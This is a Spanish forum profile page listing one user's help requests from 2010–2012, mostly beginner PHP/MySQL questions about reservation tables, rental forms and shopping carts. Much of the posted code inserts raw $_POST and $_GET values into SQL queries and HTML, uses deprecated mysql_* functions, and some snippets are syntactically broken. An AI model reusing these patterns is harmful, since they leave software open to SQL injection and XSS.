Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - mokoMonster

#1
Java / Aplicación para Android
10 Julio 2012, 20:30 PM
Hola soy nuevo haciendo aplicaciones para Android y me gustaría un poco de orientación.

Tengo una idea de una Aplicación la cual encuentre otra persona dentro de un mismo lugar localizado por GPS o algo parecido, mi pregunta sería:
¿Que necesito para usar un GPS o Google Maps para que la aplicación compare las ubicaciones?

Es como tipo facebook, el cual localiza tu ubicación exacta... espero me pueda ayudar :)
#2
PHP / Ayuda con código PHP+MySQL sencillo
18 Marzo 2012, 22:02 PM
Hola!!

Bueno domingo a todos :)
Tengo un problema bastante sencillo pero parece ser que ando algo seco :/

Les explico un poco:

Tengo 1 tabla llamada inmuebles_renta_rooms la cual tiene los campos recamara_id, irid, bano, armario, etc... donde recamara_id es el identificador de cada recamara y irid que es el identificador de la propiedad.

Ahora, lo que pasa es que necesito modificar todas las recamaras que existan con X irid para lo cual tengo el siguiente código
Código (php) [Seleccionar]

$rooms = mysql_query("SELECT * FROM inmuebles_renta_rooms WHERE irid = '$irid' ORDER BY recamara_id");
if(!$rooms){
print("No hay habitaciones registradas con ese irid(<b>$irid</b>)\n");
}else{
$room = mysql_fetch_array($rooms);
$recamaras = mysql_num_rows($rooms); // 6
$r_recamaras = $recamaras;
$turno = 1;
if($recamaras >= $turno){

$unic_room = mysql_fetch_array(mysql_query("SELECT * FROM inmuebles_renta_rooms WHERE irid = '$irid' AND recamara_id = '".$room['recamara_id']."'"));
echo '<form action="action.php?a=renta&modify&step2&irid='.$_GET['irid'].'&roomId='.$room['recamara_id'].'" method="POST" >';
echo '<table bgcolor="#D5FAFD" align="center">';
{
echo '<tr><td> Baño </td><td><select name="bano">';
echo '<option>'.$unic_room['bano'].'</option>';
echo '<option>Si</option><option>No</option></select></td></tr>';
}
{
echo '<tr><td> Armario </td><td><select name="armario">';
echo '<option>'.$unic_room['armario'].'</option>';
echo '<option>Sin armario</option><option>Chico</option><option>Mediano</option><option>Muy Grande</option></select></td></tr>';
}
{
echo '<tr><td> Television </td><td><select name="television">';
echo '<option>'.$unic_room['television'].'</option>';
echo '<option>Sin television</option><option>Normal</option><option>Plasma / LCD</option></select></td></tr>';
}
{
echo '<tr><td> Tipo de Cama </td><td><select name="cama">';
echo '<option>'.$unic_room['tipo_cama'].'</option>';
echo '<option>Sin cama</option><option>Individual</option><option>Doble</option><option>Matrimonial</option><option>Doble Matrimonial</option><option>King Size</option></select></td></tr>';
}
{
echo '<tr><td> Aire Acondicionado </td><td><select name="aa">';
echo '<option>'.$unic_room['aire_acondicionado'].'</option>';
echo '<option>Si</option><option>No</option></select><br /></td></tr>';
}
echo '<tr><td colspan="2"><p align="right"><input type="submit" value=" Continuar " name="submit" /></p></td></tr>';
echo '</table></form>';
echo '<h1>faltan: '.$recamaras.' recamaras a registrar</h1>';
if(isset($_POST['submit'])){
$step2 = new inmuebles;
$step2 -> doModificaRentaStep2( $irid, $_POST['bano'], $_POST['armario'], $_POST['television'], $_POST['cama'], $_POST['aa'], $_GET['roomId']);
$turno++;
$r_recamaras--;
}
}



Como podrán ver este script muestra el formulario donde se harán los cambios y muestra los valores originales que ya estaban guardados en la tabla.
Supongamos que son 6 recamaras, HAB1 = 40, HAB2 = 42, HAB3 = 43, HAB4 = 46, HAB5 = 47 y HAB7 = 48. (Notese que HAB2 no es 41, es 42 (a lo que voy con esto es que HAB1++ no me serviria ya que sería 41 y 41 no existe)).

El problema que tengo es que no se como hacerle para que una vez actualizado la primera recamara(HAB1) $room['recamara_id'] ahora sea = HAB2, ya que en mi script $room['recamara_id'] siempre es 40 y siempre modifico la fila con recamara_id = 40 :(


*Pense en usar un foreach para guardar en un array cada id con un identificador numero pero $room['recamara_id'] "is not a valid recourse".

*También pensé en usar un while, pero esto haria que se mostraran todos los formularios de las diferentes recamaras en vez de 1 en 1 y es justo lo que no quiero.

Alguna idea?

Muchas gracias :D
#3
Hola,

Buenas, bueno pues tengo un probema con el siguiente codigo que parece ser invisible.
Antes que nada los comento que tengo puesto error_reporting(E_ALL);.

Les explico:

Tengo un código que llama a las diferentes clases dentro de un el folder class:

classes.php

$dir = opendir("./class");
while($archivo = readdir($dir))
{
$ext = pathinfo($archivo);
$ext = strtolower($ext['extension']);
if($archivo != "." && $archivo != "classes.php" && $ext == "php")
{
include_once("./class/".$archivo);
}
}
closedir($dir);


Tengo la clase con la que tengo el problema:
class_inmuebles.php

class inmuebles {
// Renta
var $irid;

var $titulo;
var $ubicacion;
var $recamaras;
var $descripcion;
var $personas;
var $estacionamiento;
var $seguridad;
var $precioxdia;
var $precioxdiatemp;
var $tipocambio;
var $niveles;
var $alberca;
var $jardin;
// Renta - Recamaras
var $bano;
var $tipo_cama;
var $aa;
// Renta - Fotos
var $fname;
var $url;
var $size;

var $Con;

function __construct()
{
$this->Con = new Conexion;
}

public function rentaStep1($irid, $var01, $var02, $var03, $var04, $var05, $var07, $var08, $var09, $var10, $var11, $var12, $var13){
$this->irid = $irid;
$this->titulo = $var01;
$this->ubicacion = $var02;
$this->recamaras = $var03;
$this->descripcion = $var04;
$this->personas = $var05;
$this->estacionamiento = $var06;
$this->seguridad = $var07;
$this->precioxdia = $var08;
$this->precioxdiatemp = $var09;
$this->tipocambio = $var10;
$this->niveles = $var11;
$this->alberca =  $var12;
$this->jardin = $var13;

if(!$this->Conectar()){
printf('Error conectando a la base de datos. :'.mysql_error());
}else{
$sql = 'INSERT INTO inmuebles_renta (irid,titulo,ubicacion,recamaras,descripcion,personas,estacionamiento,seguridad,precio_dia,precio_dia_temp,tipo_cambio,niveles,alberca,jardin) VALUES ("'.$this->irid.'","'.$this->titulo.'","'.$this->ubicacion.'","'.$this->recamaras.'","'.$this->descripcion.'","'.$this->personas.'","'.$this->estacionamiento.'","'.$this->seguridad.'","'.$this->precioxdia.'","'.$this->precioxdiatemp.'","'.$this->tipocambio.'","'.$this->niveles.'","'.$this->alberca.'","'.$this->jardin.'")';
$query = mysql_query($sql) or die(mysql_error());
if(!$query){
printf('Error ingresando datos: '.mysql_error());
}else{
printf('Paso 1 COMPLETADO<br />\n<a href="?a=renta&new&step2">Completar Paso 2</a> <b>NECESARIO!</b><br />\n');
}
}
}
}


Y tengo el formulario correspondiente, que al momento de hacer la petición POST
y si $_POST['submit'] == true entonces llama a la clase asi:


if(isset($_POST['submit'])){
// Llamar clase
echo 'testing output';
$val = new inmuebles;
$val -> rentaStep1(
sha1($_POST['titulo']),
$_POST['ubicacion'],
$_POST['recamaras'],
$_POST['descripcion'],
$_POST['personas'],
$_POST['estacionamiento'],
$_POST['seguridad'],
$_POST['precioxdia'],
$_POST['precioxdiatemp'],
$_POST['tipo_cambio'],
$_POST['niveles'],
       $_POST['alberca'],
        $_POST['jardin']);
echo 'after class';
}


El problema invisible es que ni la llamada a la clase, ni la clase en si imprime ningun error.
Los campos de la consulta sql estan bien, los post esta bien escritos, todo parece estar bien, pero al momento de procesar la clase
segun el codigo solamente imprime 'testing output' y despues de eso ya no me muestra nada, osea al momento de instanciar la clase causa un fatal error que detiene el script y por supuesto la line de 'after class' no se muestra..

El codigo fuente de una vez enviado el formulario es este:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Panel RAVS</title>
<style>
.advice{ font-size:10px; }
input { margin-left: 25px; }
</style>
</head>
<body>
<h1>Panel de Control Grupo RAVS</h1>
<h3>Elija la acción.</h3>
Renta de Inmuebles
<ul>
<li><a href="?a=renta&new&step1">Registrar nuevo inmueble</a></li>
<li><a href="">Modificar inmueble</a></li>
<li><a href="">Eliminar inmueble</a></li>
</ul>
<div class="forms_areas">
testing output


Muchas gracias por su tiempo, saludos.  :rolleyes:
#4
PHP / Duda con POO y soporte de idiomas
21 Diciembre 2011, 22:51 PM
Hola!

Pues les explico..

Al entrar a la pagina el usuario selecciona el idioma en el que desea ver la pagina, segun esta seleccion se establece la sesion $_SESSION['LANG_SELECTED'], y dependiendo del el contenido de lang_selected se incluye el archivo que contiene las variables con sus definiciones en el idioma seleccionado, por ejemplo:

if($_SESSION['LANG_SELECTED'] = 'es'){
include_once('langes.php');
}elseif($_SESSION['LANG_SELECTED'] = 'en'){
include_once('langen.php');
}...

y asi sucesivamente, ahora, por supuesto que en cada uno de estos archivos tengo los mensajes de error que me pueden arrojar ciertas acciones como una mala insercion de datos, para esto (suponiendo que tenemos español seleccionado) tenemos la variable $error01 = 'Esto es el error 01';..

Hasta aqui todo esta bien, el problema esta al usar la variable desde dentro de una clase, por ejemplo:

class opinion{
var $opinion;
public function doOpinion($var1){
$this->opinion = $var1;
$sql = 'INSERT INTO opinion (opinion) values ("'.$this->opinion.'")';
$query = mysql_query($sql);
if(!$query){
echo $error01;
}else{
echo $exitoso;
}
}

El problema es que ni $error01 ni $exitoso tienen valor dentro de la clase, si pongo las mismas variables fuera de la clase las imprime sin problema.
Haciendo pruebas note que puedo incluir los mensajes cuando instancia la clase:

$noOpinion = new Opinion;
$noOpinion = doOpinion('opinion',$error01,$exitoso);

y dentro de la clase cambiar
doOpinion($var1) por doOpinion($var1,$var2,$var3)

El problema es que cuando tengo clases muy extensas esto representa una perdida de tiempo y debe de haber una forma de hacerlo que sea mas facil.

OJO: Previamente en el header tengo un script que llama primero al script que establece el idioma, y en seguida otro script que incluye todas las clases.

Espero me puedan dar una idea y de antemano muchas gracias.

Saludos.
#5
Buenas :)

Tengo un pequeño problemita que parece muy simple pero que no he podido resolver.
Trata sobre un menu despegable en onmouseover, lo que pasa es que estoy usando una sentencia echo que comienza con comillas simples ( ' ) y posteriormente usa comillas dobles ( " ) para llamar a las funciones javascript, pero dentro de una funcion javascript tengo que usar comillas simples para darle el parametro a la funcion, pero esta no funciona si es que la llamo con 'echo', si lo paso como html lo hace perfectamente, se que para este casos se usa la diagonal invertida ( \) antes de la comilla, pero esto tampoco me da resultado.

<li><? if(isset($page2)){echo $page2;}else{echo'<a href="services.php"onmouseover="mopen(\'m1\')" onmouseout="mclosetime()">'.$llang->findvar($l_services).'</a>';}?>
            <div id="m1"
                    onmouseover="mcancelclosetime()"
                    onmouseout="mclosetime()">
                    <a href="#">Traduccion de documentos</a>
                    <a href="#">Traduccion de audio</a>
                    <a href="#">Clases</a>
            </div>


El punto es que tengo que usar el codigo tal cual esta, alguien tiene alguna idea de como resolverlo?

Se los agradezco mucho, saludos  :)
#6
Hola buenas tardes,

Empiezo comentandoles que soy un completo noob en javascript, por los cual les pido su ayuda.

En esta ocasión estoy tratando de modificar un script que encontré que utiliza ventanas emergentes, el ejemplo esta aquí: http://s3.envato.com/files/348021/index.html
Ya tengo todos los archivos descargados y demás, pero ahora lo que necesito es incorporar un formulario a uno de estos mensajes para que posteriormente este sea enviado pero el problema es que tengo que usar un boton SUBMIT en el formulario, pero el script ya posee el botón de 'Okay' el cual me gustaría editar para que ese Okay fuera el botón SUBMIT y no tenga que poner los 2 al mismo tiempo, podría alguien ayudarme con esto?

Les dejo los links de los JS que utiliza este script.

http://s3.envato.com/files/348021/css/attention_box.css
http://s3.envato.com/files/348021/js/jquery-1.4.2.min.js
http://s3.envato.com/files/348021/js/jquery-ui-1.8.1.custom.min.js
http://s3.envato.com/files/348021/js/attention_box-min.js

Aquí en 'http://s3.envato.com/files/348021/index.html'; he editado esto AttentionBox.showMessage("This is a the Hello World example"); para que quede de la siguiente forma:

jQuery("#message2").click(function()
{
AttentionBox.showMessage('<form action="fees.php" method="POST" enctype="multipart/form-data"   onSubmit = "return validar(this)" ><table border="0" style="vertical-align:auto;"><tr><td>Nombre:</td><td> <input type="text" name="storename" maxlength="75" /></td></tr><tr><td>Empresa/ Organización:</td><td> <input type="text" name="storecompany" maxlength="100" /></td></tr><tr><td>E-mail:</td><td> <input type="text" name="storemail" maxlength="100" /></td></tr><tr><td>Teléfono:</td><td> <input type="text" name="storephone" maxlength="75" /></td></tr><tr><td>Tipo de proyect/ Mensaje:</td><td><textarea name="storeinfo"></textarea></td></tr><tr><td>Fecha de entrega:</td><td> <input type="text" name="storedateneeded" maxlength="75" /></td></tr><tr><td>Enviar mi documento:</td><td> <input type="file" name="storefile"  /></td></tr><tr><td colspan="2"><input type="submit" name="send" value="Send" /></td></tr></table></form>',
{
modal: true,
modalcolor: "#000000"
});
});

Me gustaría también que el formulario pudiera ser procesado también en la misma ventana emergente, claro que se que es mucho pedir, pero por ahí si alguno no tiene algo mejor que hacer estaría increíble que también me dijera como.

Espero puedan ayudarme y si lo hacen se los agradeceré mucho.

Saludos y buenas tardes.
#7
PHP / Error en Registro por Clases (POO)
19 Noviembre 2011, 00:07 AM
Hola, no se que es lo que ocurre que mi codigo no registra lo pedido, me pueden ayudar?

<?php
// Class Register
class RegistrerQuote {
var $name;
var $age;
var $last_name;
var $company;
var $phone;
var $maiil;
var $project_type;
var $project_due;
var $fiile;


public function Registrer(){
$nombre htmlspecialchars(strip_tags($_POST['storename']));
$apellido htmlspecialchars(strip_tags($_POST['storelastname']));
$edad htmlspecialchars(strip_tags($_POST['storeage']));
$compania htmlspecialchars(strip_tags($_POST['storecompany']));
$telefono htmlspecialchars(strip_tags($_POST['storephone']));
$email htmlspecialchars(strip_tags($_POST['storemail']));
$tipo htmlspecialchars(strip_tags($_POST['storeinfo']));
$entrega htmlspecialchars(strip_tags($_POST['storedataneeded']));
$archivo 'a'//$_FILES['storefile']['name'];

$this->name $nombre;
$this->last_name $apellido;
$this->age $edad;
$this->company $compania;
$this->phone $telefono;
$this->maiil $email;
$this->project_type $tipo;
$this->project_due $entrega;
$this->fiile $archivo;

connectBaby();

/* Compruebo que la url del archivo no exista en la tabla lb_quotes */
$check printf("SELECT qt_file_url FROM lb_quotes WHERE qt_file_url = '%s'",$this->maiil);
$query mysql_query($check)or die(mysql_error());

// Error
if(mysql_num_rows($query)){
echo 'Cambie el nombre del archivo, le sugerimos agregue la fecha.<br />';
mysql_free_result($query) or die(mysql_error());
exit;
}else{
$insert printf("INSERT INTO lb_quotes
(qt_name,qt_last_name,qt_age,qt_company,qt_phone,qt_mail,qt_type,qt_project_due,qt_file_url) VALUES 
('%s','%s','%s','%s','%s','%s','%s','%s','%s')"
,
$this->name,
$this->last_name,
$this->age,
$this->company,
$this->phone,
$this->maiil,
$this->project_type,
$this->project_due,
$this->fiile);

$query mysql_query($insert) or die(mysql_error());
if(mysql_affected_rows()){
echo 'EL usuario $this->name se registro correctamente.';
}else{ echo 'error'mysql_free_result($query); }
exit;
}
// Error

}
}
?>


El error esta entre los comentarios  //Error pero no entinedo cual es, muchas gracias de antemano.
Saluods
#8
Desarrollo Web / Pop up con javascript
8 Noviembre 2011, 06:06 AM
Hola, quiero hacer que un boton cuando presionado aparezca uan nueva ventana como en el caso de la pestaña Contact en http://www.skalatranslation.com/, podrian de favor orientarme? No estoy seguro que se le llame popup, creo que es un frame pero en java estoy algo perdido.

Saludos y buenas :)
#9
Estamos apunto de dar a conocer una empresa de Desarrollo WEB entre otras cosas; y estamos buscando gente capaz y apasionada por la programación, si te interesa y vives en Mexico, DF te invitamos a que te pongas en contacto mandando un mensaje privado por este medio.

Se busca gente de 18 a 23 años y no se requiere experiencia.

Saludos y buen día.
#10
Hola!

Bueno pues he adquirido un nuevo pc y he instalado una maquina virtual con Ubuntu, uso VMware Workstation  y quiero usar la tarjeta de red como si utilizara el pc y no solo utilizar la red externa que seria la que tengo activa fuera de la maquina virtual.

Ayuda?

Gracias :D
#11
Hola!

Bueno pues he adquirido un nuevo pc y he instalado una maquina virtual con Ubuntu, uso VMware Workstation  y quiero usar la tarjeta de red como si utilizara el pc y no solo utilizar la red externa que seria la que tengo activa fuera de la maquina virtual.

Ayuda?

Gracias :D
#12
PHP / Suma de resultados de tabla HTML con PHP
21 Abril 2011, 02:48 AM
Hola, bueno, estoy creando una tabla que despliega una lista de articulos seleccionados, con las cantidades correspondientes, el mismo script multiplica el precio del articulo por las cantidades creando un subtotal, lo que necesito ahora es sumar los subtotales, pero creo que ya ando algo pirado que no logro conseguirlo aun.

Este es el código, apreciaría mucho su ayuda.

session_start
(); 
session_register('itemsEnCesta'); 
$item=$_POST['item']; 
$cantidad=$_POST['cantidad']; 
$itemsEnCesta=$_SESSION['itemsEnCesta']; 

if (
$item){ 
   if (!isset(
$itemsEnCesta)){ 
      
$itemsEnCesta[$item]=$cantidad
   }else{ 
      foreach(
$itemsEnCesta as $k => $v){ 
         if (
$item==$k){ 
         
$itemsEnCesta[$k]+=$cantidad
         
$encontrado=1
         } 
      } 
      if (!
$encontrado$itemsEnCesta[$item]=$cantidad
   } 

$_SESSION['itemsEnCesta']=$itemsEnCesta
include(
'include.php');

function 
getPrecio($k){
	
$getPrecioQuery=mysql_query("SELECT precio FROM articulos WHERE nombre='".$k."' ")or die(mysql_error());
	
$getPrecioArray=mysql_fetch_array($getPrecioQuery);
	
return 
$getPrecioArray['precio'];
}
 
if (isset(
$itemsEnCesta)){ 
	
echo
'<center><h2>El contenido de la cesta de la compra es:</b></center>'
	
echo
'<br><table border="0" width="700" align="center" cellspacing="0">';
	
echo
'<tr bgcolor="#00CCFF"><td><b>Nombre</b></td><td><b>Cantidad</b></td><td><b>Precio</b></td><td>Total</td></tr>';
   
	
foreach(
$itemsEnCesta as $k => $v){ 
   
	
	
$getPrecio getPrecio($k);
	
	
$getPrecioTotal $getPrecio*$v
	
	
$total '?';
      
	
echo 
'<tr><td><b>'.$k.'</b></td><td><b>'.$v.'</b></td><td><b>$ '.$getPrecio.'.00 MXN</b></td><td>'.$getPrecioTotal.'</td></tr>'
   
	
}    
	
echo
'<tr><td colspan="4">'.$total.'</td></tr>';
   
	
echo
'</table><br>';



Espero que me puedan ayudar :)
Muchas gracias xD
Feliz 4:20 ;)
#13
Hola,

He tratado de hacer una lista desplegable con los paises, estados y municipos, delegaciones y demás, pero me he encontrado con que es demasiada programación con php y html, y ahora que estoy entrando a Java me preguntaba si alguno de ustedes saben de un script ya hecho o alguna otra manera de hacerlo mas fácil y rápido.

Saludos y muchas gracias.
#14
Hola, miren este es mi código.
Código (html) [Seleccionar]

<select name="estado" class="campo_texto" onchange="location.href='./buscataxi.php?pais=Mexico&estado='+escape(this.options[this.selectedIndex].text)">
<option><? if($_GET['estado']){ echo $_GET['estado']; } else { echo 'Seleccionar estado...'; } ?></option>
    <option onclick="location.href='./buscataxi.php?pais=Mexico&estado=Distrito%20Federal'">Distrito Federal</option>
    <option onclick="location.href='./buscataxi.php?pais=Mexico&estado=Guerrero'">Guerrero</option>
    <option onclick="location.href='./buscataxi.php?pais=Mexico&estado=Jalisco'">Jalisco</option>
    <option onclick="location.href='./buscataxi.php?pais=Mexico&estado=Morelos'">Morelos</option>
    <option onclick="location.href='./buscataxi.php?pais=Mexico&estado=Nuevo%20Leon'">Nuevo Leon</option>                   
    <option onclick="location.href='./buscataxi.php?pais=Mexico&estado=Puebla'">Puebla</option>


Lo que quiero, es que en cuanto le den a alguna opción y se regrese a buscataxi.php muestre todo lo que el usuario ya había escrito, es que cuando se hace esto se borra todo el formulario.

Muchas gracias por su tiempo.

Saludos
#15
Desarrollo Web / UTF-8 e ISO-8859-1 juntos?
28 Febrero 2011, 22:39 PM
Hola, bueno es que tengo un problema.

Si uso UTF-8 el texto que imprimen las etiquetas HTML permiten los acentos, pero cuando el texto es impreso por PHP los acentos aparecen como un signo desconocido.. Pero si uso ISO-8859-1 lo que imprima PHP sale bien, pero lo que imprima HTML lo hace mal.. el punto es que nunca se imprimen bien todos los caracteres.

Igual me pasa con la letra Ñ..

He tratado esto:
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=latin_spanish_ci">
<meta http-equiv="Content-Type" content="text/html; Response.Charset=iso-8859-1">
<meta http-equiv="Content-Type" content="text/html; Response.Charset=UTF-8">
<meta http-equiv="Content-Type" content="text/html; Response.Charset=latin_spanish_ci">

También he hecho combinaciones de estos mismo con esto: <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-MX" lang="es-MX" >

Y uso este formato:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-MX" lang="es-MX" >
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="author" content="a" />
<title></title>
<link rel="shortcut icon" href="images/icon.gif" />
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

Espero me pueda ayudar, muchas gracias.

Saludos.
#16
He probado este código pero no funciona, nunca he trabajado con sentencias de búsqueda que contengan varios valores, se me ocurrió que podía ser así: $query=mysql_query("SELECT * FROM taxista WHERE (pais,estado,ciudad,horario,zona) like ('"%$pais%"','"%$estado%"','"%$ciudad%"','"%$horario%"','"%$zona%"')",$link);
$array=mysql_fetch_array($query);
Pero obviamente estoy haciendo algo mal por que me arroja este error: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/blablabla/public_html/dos/html/buscataxi.php on line 67

La linea 67 es la que escribí anteriormente.

Saludos y gracias por su ayuda.
#17
Función en Ciclo FOR
[/b]
Hola a todos,

Dejen que les explique el por que es un problema.
Estoy haciendo un sistema de reservaciones y obviamente tiene una base de datos.

Desde la pagina tablareserv.php llamo a la función que esta dentro de una tabla que se despliega según los días del mes($m) y las habitaciones disponibles($habitacion).
echo "<table width='90%' align='center' border='1' cellspacing='0' cellpadding='0'>"
echo 
"<tr><td>&nbsp;</td>";
for(
$dia=1;$dia<=$m;$dia++){
    echo 
"<td width='25'><center><font color='#FFFFFF'><b>".$dia."</b></font></center></td>";
}
echo 
"</tr>"
for(
$habitacion=1;$habitacion<=$habitaciones;$habitacion++){
	
echo 
"<tr>";
	
echo 
'<td width="125">Habitacion '.$habitacion.'</td>';
    
devuelve_conteo($habitacion,$m);
	
echo 
"</tr>"
}
echo 
"</table>"


Esta función esta en un include y es la que se encarga de hacer el ciclo correspondiente para que la siguiente función checar_disponibilidad() se ejecute correctamente.
function devuelve_conteo($habitacion,$m)
{
	
$dia_conteo=1;
	
	
while(
$dia_conteo<$m+1)
	
	
{
	
	
    echo 
"<td><center>",checar_disponibilidad($habitacion,$dia_conteo),"</center></td>";
	
	
	
$dia_conteo++;
	
	
}
}


Esta es la función checar_disponibilidad que es en la que radica el problema.
function checar_disponibilidad($habitacion,$dia_conteo)
{
	
$link=Conectarse();
	
$con=mysql_query("SELECT f_ll_dia FROM Reservaciones WHERE f_ll_dia='".$dia_conteo."' AND f_ll_mes='".date('M')."' AND f_ll_ano='".date('Y')."'",$link)or die(mysql_error());
	
$c_fecha=mysql_fetch_array($con);

	
$con2=mysql_query("SELECT * FROM Reservaciones WHERE numero_habitacion='".$habitacion."'",$link)or die(mysql_error());
	
$c_habitacion=mysql_fetch_array($con2);

	
if(
$habitacion==$c_habitacion['numero_habitacion']&&$dia_conteo==$c_fecha['f_ll_dia'])
	
{
	
	
echo 
'RESERVADA';
	
}
	
else
	
{
	
	
echo 
'L';
	
}
}


Hasta aquí la tabla funciona, se despliega correctamente, solo que obviamente vacía por que aun no hay registros, Ahora supongamos que se añade un registro, que llega el día 20 de Enero a la Habitación numero 5, entonces ahora el valor de $c_habitacion['numero_habitacion'] = 5 y $c_fecha['f_ll_dia'] = 20.
En este momento cuando se consulta tablareserv.php en la tabla aparece que la Habitación 5 el día 20 de Enero esta RESERVADA.

Perooooooo cuando se agrega otra entrada a la tabla de la base de datos con   $c_habitacion['numero_habitacion'] = 9 y $c_fecha['f_ll_dia'] = 12 (noten que cambio a 9 y 12 respectivamente), bueno hasta aquí están de acuerdo en que en tablareserv.php debería imprimir que:

*La habitación 5 el 20 de Enero esta Reservada.
*La habitación 9 el 12 de Enero esta Reservada.

Pero no sucede así, lo que sucede a la hora de mostrar la tabla aparece que:
*La habitación 5 esta ocupada el 20 y el 12 de Enero.

Osea que se imprimen en la misma fila y no debe ser así.
Alguien me podría orientar un poco?

Saludos.


En esta linea es donde creo que esta el problema..
if($habitacion==$c_habitacion['numero_habitacion']&&$dia_conteo==$c_fecha['f_ll_dia'])

#18
Había posteado este código hace unos días, pero al tratarlo de moldear a lo que necesito me entre con otro problema.
Lo que hace este código es imprimir una tabla con una fila donde van los números del mes y una columna con el numero de habitaciones disponibles, ahora lo que quiero es en todos los espacios vacíos se impriman los números del mes, en realidad lo quiero por que usare ese numero con una función para checar en la base de datos si esa habitación esta disponible ese día. Pero el problema creo que radica en que cuando imprime 31 se siguen creando las filas por que no se añade el </tr> para que siga con la fila de la habitación siguiente.

Alguien me podría orientar por favor?


$habitaciones=10;
$dias=31;
echo "<table width='70%' align='center' border='1' cellspacing='0' cellpadding='0'>";
echo "<tr><td>&nbsp;</td>";
for($dia=1;$dia<=$m;$dia++){
   echo "<td width='25'>&nbsp;".$dia."</td>";
}
echo "</tr>";
for($habitacion=1;$habitacion<=$habitaciones;$habitacion++){
   echo "<tr>";
   echo '<td width="125">Habitacion '.$habitacion.'</td>';
for($var=1;$var<=$m;$var++){
$ma=1;
while($ma!=($dias+1)) {
   echo "<td>".$ma++."</td>";  }
}
}
echo "</tr>";
echo "</table>";


Muchas gracias ;) Saludos
#19
PHP / Problema con tabla y ciclo FOR
8 Enero 2011, 21:01 PM
Hola,

bueno es que tengo que hacer una tabla donde $dias sean las columnas, y $pisos sean las filas, pero cuando pongo el ciclo para que primero se creen los días y comprobar que no hay error, me las hace filas, no he encontrado la manera para que me las haga columnas como debe ser, pero no se como continuar, he tratado de varias formas pero aun no lo consigo.

Espero me puedan ayudar, les dejo el código.

$dias=31;
// $pisos=10;
for($col=0;$col<$dias;$col++)
{
echo '<table width="300" border="1" cellspacing="0" cellpadding="0">';
echo '<tr>';
echo '<td>'.$col.'</td>';
echo '</tr></table>';
}



Saludos y gracias.  :o
#20
PHP / Duda con EREG
27 Noviembre 2010, 23:05 PM
Hola a todos:

Mi problema es que tengo este muy sencillo código para comprobar que los campos solo puedan tener puntos y algunos signos que encontré navegando.

elseif (ereg("^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]{2,200}\.[a-zA-Z]{2,6}$"$celectronico)) { header("Location: ../registro.php?error=s"); } 

Lo que pasa es que por ejemplo en el campo $celectronico referente a el mail no me deja insertar a la tabla si pongo ejemplo@ejemplo2.com, es decir, si pongo en el campo cualquiera de los siguientes valores si me deja:

hola@.com < Si
holahola@. < Si
@hola.com < Si
high.trip@hotmail.com.mx < Si lo acepta
high.trip@hotmail.com < No lo acepta

Si vuelvo a tratar por ejemplo con: hihehe@hahaha.com otra vez no me lo acepta, alguien me podría orientar por favor?
Es la primera vez que trabajo con Ereg.

Saludos y muchas gracias
#21
Hey!!

Bueno pues tengo un problema con una sentencia sql, no entiendo que esta mal, la misma sentencia la he usado en otras partes de mi código y funciona al 100%..

Les dejo el código donde me arroja que esta mal:
Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/a3754928/public_html/home/secure/checkResetPwd.php on line 19


        18        $cifrado
=$_POST['cifrado'];
	
19
	
$query=mysql_query("SELECT cifrado FROM Usuarios WHERE mail='$mail'",$link) or die(mysql_error());
	
20
	
$row=mysql_fetch_array($query);
	
21
	
if (
$cifrado==$row['cifrado'])


Lo único que cambia aquí es esta linea:

	
	
if (
$cifrado==$row['cifrado'])


Espero me den una manita, saludos.
:P
#22
PHP / Doble consulta mysql..
6 Agosto 2010, 21:34 PM
Buenas  ::)

Hice una consulta que busca el articulo seleccionado por el usuario, pero tengo 2 tablas, 1) Catalogo y 2) Imagenes.. Lo que quiero es imprimir la imagen de el articulo correspondiente.


session_start
();
include(
"/secure/conex.php");
$link=Conectarse();
$busqueda=$_POST['busqueda'];
$query=mysql_query("SELECT * FROM Catalogo WHERE noArticulo='".$busqueda."'",$link) or die(mysql_error());

<
table width="80%" bgcolor="#CCCCCC" border="1" align="center" cellpadding="2" cellspacing="0" aling="center">
	
<
tr><td><bImagen </b></td><td><bArticulo </b></td><td><bDescripci&#243;n </b></td><td><b> Cantidad </b></td><td><b> Precio </b> </td></tr>
    
<?php
	
$qur mysql_num_rows($query);
	
if(
$qur 0) {
	
while(
$row=mysql_fetch_array($query))
	
{
	
	
printf("<tr><td><b><center> %s </center></b></td><td> %s </td><td> %s </td><td><center> %d </center></td><td> %d </td></tr>",$row['imagen'],$row['noArticulo'],$row['descripcion'],$row['cantidad'],$row['precio']);
	
}
	
mysql_free_result($query);
	
mysql_close($link);
	
}
	
	
else
	
{
	
	
echo 
"No se encontraron resultados";
	
	
echo 
"<br /><br />";
	
}
	
?>
    </table>   


Obviamente $row['imagen'] debe de incluir la ruta de la imagen, se que tengo que hacer una consulta a la tabla imagenes, pero lo que no se me ocurre es como incluirla en $row['imagen'].

Saludos
#23
PHP / Ayuda con $_SESSION
5 Agosto 2010, 01:41 AM
Buenas!  :-(

Tengo un formulario que recoge los datos de los productos de el catalogo, estos se ingresan a la tabla Catalogo, la cual tiene los campos propietarioArticulo, etc etc.. todos funcionan bien, pero cuando trato de pasar el valor de $_SESSION['noUsuario'] es = 0.. pero no entiendo por que, en el login puse el siguiente script para ver si se guarda el valor de la sesion:

 if (isset($_SESSION['noUsuario'])) {
echo 
"Usuario logged in ".($_SESSION['noUsuario']);
exit; }


